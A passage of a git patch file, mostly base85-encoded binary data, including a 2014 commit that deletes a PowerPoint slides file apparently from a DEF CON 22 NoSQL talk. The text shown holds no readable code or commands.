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 Date: Mon, 11 Aug 2014 17:11:35 -0500 Subject: [PATCH 076/207] Remove slides file --- DC22-WoS-Nosql_slides.pptx | Bin 516497 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 DC22-WoS-Nosql_slides.pptx diff --git a/DC22-WoS-Nosql_slides.pptx b/DC22-WoS-Nosql_slides.pptx deleted file mode 100644 index 55ae193acaf3ffcd337536ff4a73ac33ce2ce524..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 516497 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 